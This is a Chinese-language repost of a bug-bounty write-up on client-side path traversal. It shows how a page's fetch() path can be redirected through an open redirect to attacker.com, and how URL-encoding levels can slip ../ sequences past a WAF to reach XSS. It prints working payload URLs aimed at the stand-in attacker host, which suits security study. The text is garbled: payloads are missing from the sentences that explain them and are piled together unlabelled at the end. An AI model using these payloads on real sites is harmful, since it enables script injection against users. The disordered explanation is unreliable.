CSPT 简介
客户端路径遍历(简称 CSPT)是一个漏洞,当攻击者控制的未正确编码的输入到达URL 的路径组件(应用程序的 JavaScript 代码向其发送请求)时,就会发生这种漏洞。发生这种情况时,攻击者可以将路径遍历序列(../)注入到 URL 的路径中,使 JS 代码向任意端点发送请求。此漏洞本身不会产生任何影响,但它通常可以与不同的小工具链接起来以获得更大的影响。
一个脆弱的例子
为了帮助解释这种漏洞类型,我们来看一个示例。假设您有一个博客网站,并且您想要创建一个页面(例如https://example.com/viewpost),用户可以在其中查看帖子。实现此目的的一种方法是在页面中包含以下 JS 代码:
// get the value of the URL parameter "p"
const post_name = new URLSearchParams(location.search).get("p");
const blog_post_response = await fetch("/api/posts/get_content/" + post_name);
const post_content = await blog_post_response.text();
display_post_html(post_content);
当用户导航到 时https://example.com/viewpost?p=543,JS 代码会通过向 发送请求来获取编号为 543 的帖子的 HTML 内容https://example.com/api/posts/get_content/543,然后将该内容显示给用户。由于该p参数可以包含攻击者控制的输入,并且其值直接在页面请求的 URL 的路径部分中使用,因此该代码容易受到 CSPT 的攻击。如果攻击者向受害者发送了 的链接https://example.com/viewpost?p=../../../asdf,并且受害者点击了该链接,则在页面中构建的 URL 将是https://example.com/api/posts/get_content/../../../asdf,因此页面将向 发送请求https://example.com/asdf。页面中的其余 JS 代码将正常运行,并将使用对此请求的响应,就好像它是博客文章的内容一样,因为它将存储在blog_post_response变量中。
正如您所看到的,攻击者可以使页面将请求发送到https://example.com/.为了演示这一点的潜在影响,我们假设应用程序在https://example.com/redirect?u=….在这种情况下,攻击者可以使用诸如../../../?u=https://attacker.com.使用此有效负载时,易受攻击的页面会向 发送获取请求https://example.com/redirect?u=https://attacker.com,并且对此请求的响应将重定向到https://attacker.com。由于fetch默认情况下会自动遵循重定向,因此后续请求将发送到,并且对该https://attacker.com请求的响应将存储在变量中。由于攻击者控制了此响应,因此攻击者可以控制向用户显示的博客文章的 HTML 内容,很可能导致 XSS。以下是我们刚刚看到的内容的简短回顾:blog_post_response
-
服务后页面调用该fetch函数,将请求发送到包含攻击者控制的输入的 URL,该输入在其路径中未正确编码,从而允许攻击者将../序列注入到路径中并使请求发送到任意端点。此行为称为 CSPT 漏洞。
-
攻击者将请求发送到包含开放重定向漏洞的端点。
-
端点通过重定向到攻击者控制的域进行响应。
-
该fetch函数自动遵循此重定向,向攻击者控制的域发送请求。
-
攻击者控制的域会做出一些恶意响应。
-
该fetch函数完成并返回恶意响应。
-
该页面将该响应视为博客文章的内容,从而导致 XSS。
问题
在最近的一次现场黑客活动中,我发现了一个与上述类似的错误。然而,由于该错误,攻击者控制的输入并非来自查询参数,而是来自路径参数。换句话说,该 URL 看起来更像
https://example.com/viewpost/543
而不是
https://example.com/viewpost?p=543
输入仍然可以包含../序列,但它们必须进行 URL 编码,以便正确解析 URL。目标还有一个开放重定向小工具,我试图将其与我找到的 CSPT 链接起来。然而,当我尝试通过导航到有效负载为../../../?u=https://attacker.com( )的 URL 来利用此错误时
https://example.com/viewpost/..%2f..%2f..%2fredirect%3fu=https:%2f%2fattacker.com
导航被目标正在使用的 WAF 阻止,在对 URL 进行了一些修改之后,我弄清楚了 WAF 阻止请求的原因,但为了解释,我首先需要定义一些非正式术语:
-
URL 的深度等于其路径中的目录数减去其中的序列数../。例如, 的深度https://example.com/a将为0, 的深度https://example.com/a/b将为1, 的深度https://example.com/a/../b/c也将为1, 的深度https://example.com/a/../../c将为-1。
-
字符串的编码级别是为了正确解码字符串而必须重复对其进行 URL 解码的次数。例如,字符串的编码级别aa为 0,因为您根本不需要对其进行 URL 解码;字符串的编码级别b%252561为 3,因为您必须对其进行 3 次 URL 解码才能获得解码后的字符串ba( b%252561 -> b%2561 -> b%61 -> ba)。
-
为了防止路径遍历攻击,WAF 所做的就是计算请求 URL 的深度,如果该深度为负数,则阻止该请求。为了防止更高编码级别的路径遍历攻击,WAF会对URL进行一定次数的解码,然后再检查其深度。我将这个数字称为WAF 的级别。例如,如果WAF的级别大于或等于2,则以下URL将被阻止,因为在2次解码后其深度将为-1。这种行为阻止了我的利用尝试,因为我必须使用的 URL 深度是负数。在尝试绕过此 WAF 时,我注意到两个关键事项:https://example.com/a/..%252f..%252fc
-
如果我导航到https://example.com/viewpost/%2561,那么应用程序会向 发送请求https://example.com/api/posts/get_content/a。换句话说,应用程序在将输入传递给函数之前对我们的输入进行一定次数的解码fetch。我将此数字称为应用程序的级别。
-
浏览器对待%2e%2e/序列的方式与序列完全相同../,即使第一个序列中的点已被编码。
最后,旁路所需的所有部件都已就位。现在让我们看一下:
Bypass
根据WAF级别大于、小于、等于应用级别,绕过的方式不同。让我们看看不同的情况:
如果 WAF 的级别小于应用程序的级别,我们只需重复编码我们的负载,直到 WAF 不再阻止请求。例如,如果WAF的级别为1,应用程序的级别为2,那么我们可以使用双编码的有效负载,例如. WAF 无法识别序列,但应用程序会在将有效负载传递给函数之前对有效负载进行两次解码,以便它可以正常工作。如果 WAF 的级别高于应用程序的级别,我们会在 WAF 会解码但应用程序不会解码的路径中包含许多编码序列。例如,如果WAF的级别为2,应用程序的级别为1,那么我们可以使用诸如. WAF 会将此有效负载解码为,因此深度将为 0(4 个目录减去 4 个序列)。
但是,有效负载将作为 传递到 fetch 函数,这相当于,因此它可以工作。最后,如果 WAF 的级别等于应用程序的级别,我们将使用一个有效负载,该负载将由浏览器和 WAF 解码为.对于 WAF,此有效负载的深度为 3。但是,由于浏览器对待序列的方式与序列完全相同,因此它们实际上有效负载!对于我的实时黑客事件错误,我使用了最后一种绕过技术,因为 WAF 和应用程序的级别均为 1。我使用的 URL 类似于。 WAF 和浏览器将此 URL 解码为具有正深度,因此请求未被阻止。应用程序对有效负载进行了一次解码,传递给 fetch 的 URL 为,相当于。
使用恶意响应,我能够在目标上获取 XSS。感谢您阅读这篇文章!如果您发现它有趣或有用,并且想知道我何时发布新帖子,您可以在 Twitter 上关注我:@MtnBer。如果您有任何疑问,请随时给我发 DM。
..%252f..%252f..%252fasdf../fetch../../../asdf
a/aa%252fa%252fa%252fa%2f..%2f..%2f..%2f..%2fasdfa/a/a/a/../../../../asdf../a%2fa%2fa%2fa/../../../../asdf../../../asdf
%2e%2e/%2e%2e/%2e%2e/asdf%2e%2e/../
https://example.com/viewpost/%252e252e%2f%252e252e%2f%252e252e%2fredirect%3fu=https:%2f%2fattacker.comhttps://example.com/viewpost/%2e%2e/%2e%2e/%2e%2e/redirect?u=https://attacker.comhttps://example.com/api/posts/get_content/%2e%2e/%2e%2e/%2e%2e/redirect?u=https://attacker.comhttps://example.com/redirect?u=https://attacker.com
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):使用编码级别绕过 WAF 以利用 CSPT